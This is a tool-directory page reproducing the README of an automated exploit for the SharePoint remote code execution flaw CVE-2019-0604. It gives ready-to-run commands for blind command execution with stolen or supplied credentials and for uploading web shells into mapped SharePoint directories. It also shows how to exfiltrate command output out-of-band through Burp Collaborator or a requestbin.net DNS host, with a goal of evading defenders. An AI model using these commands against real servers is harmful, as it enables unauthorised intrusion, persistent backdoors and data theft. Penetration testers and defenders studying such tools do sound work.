Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
weaponized-0604 — Automated tool to exploit sharepoint CVE-2019-0604 | Kitploit
Tools/GitHubGitHub/gh0st0ne/weaponized-0604
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubgh0st0ne/weaponized-0604

weaponized-0604

Automated tool to exploit sharepoint CVE-2019-0604

View Repository
85 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Weaponized CVE-2019-0604

Automated Exploit Tool to Maximize CVE-2019-0604.

Requirement

The requirements.txt file should list all Python libraries this tool used, and they'll be installed using

root@kitploit:~
$ pip install -r requirements.txt

Manual blind exploit (with(out) credential)

root@kitploit:~
$ python exploit.py -u <url-to-picker.aspx> -c whoami --ntlm -U <uname>:<passwd>

Upload function

upload anything cool (webshell, recon tool ...)

root@kitploit:~
Upload cmd.aspx to rcmd.aspx
--file-from /path/to/cmd.aspx --file-to /path/to/web_dir/rcmd.aspx

Directory Mapping

root@kitploit:~
Sharepoint Default Web Virtual Dir:
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_app_bin\ -> <target>/_app_bin/
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_vti_pvt\ -> <target>/_vti_pvt/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\layouts\ -> <target>/_layouts/15/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\controltemplates\ -> <target>/_controltemplates/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\login\ -> <target>/_login/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\windows\ -> <target>/_windows/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\wpresources\ -> <target>/_wpresources/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\isapi\ -> <target>/_vti_bin/

Use OOB to get command result

With collaborator_http_api Burp Extension

  1. Install collaborator_http_api.py into BurpSuite (Pro)?

  2. Make sure BurpSuite running on the same machine with this exploit.

  3. Fire, enjoy the retrieved output :)

root@kitploit:~
$ python exploit.py -u <url-to-picker.aspx> -c whoami --collab --ntlm -U <uname>:<passwd>

sharepoint-rce-oob-demo

With DNSLog s.t. requestbin.net

root@kitploit:~
$ python exploit.py -u <url-to-picker.aspx> -r <path/to/reqFile> --oob 8486990041a11aaa43ce.d.requestbin.net -c "whoami /priv"

Get Data From dns

root@kitploit:~
2050524956494c4547455320494e464f524d4154494f4e
...

Decoded by yourself :)

root@kitploit:~
 PRIVILEGES INFORMATION
...

TODO

  • Argument Parser
  • SharePoint, CVE-2019-0604
  • split cmd into multiple parts (in args.cmds)
  • specify binary on demand, avoiding detection by blue team. (hardcode cmd.exe currently)

Author

  • Tree
Download Tool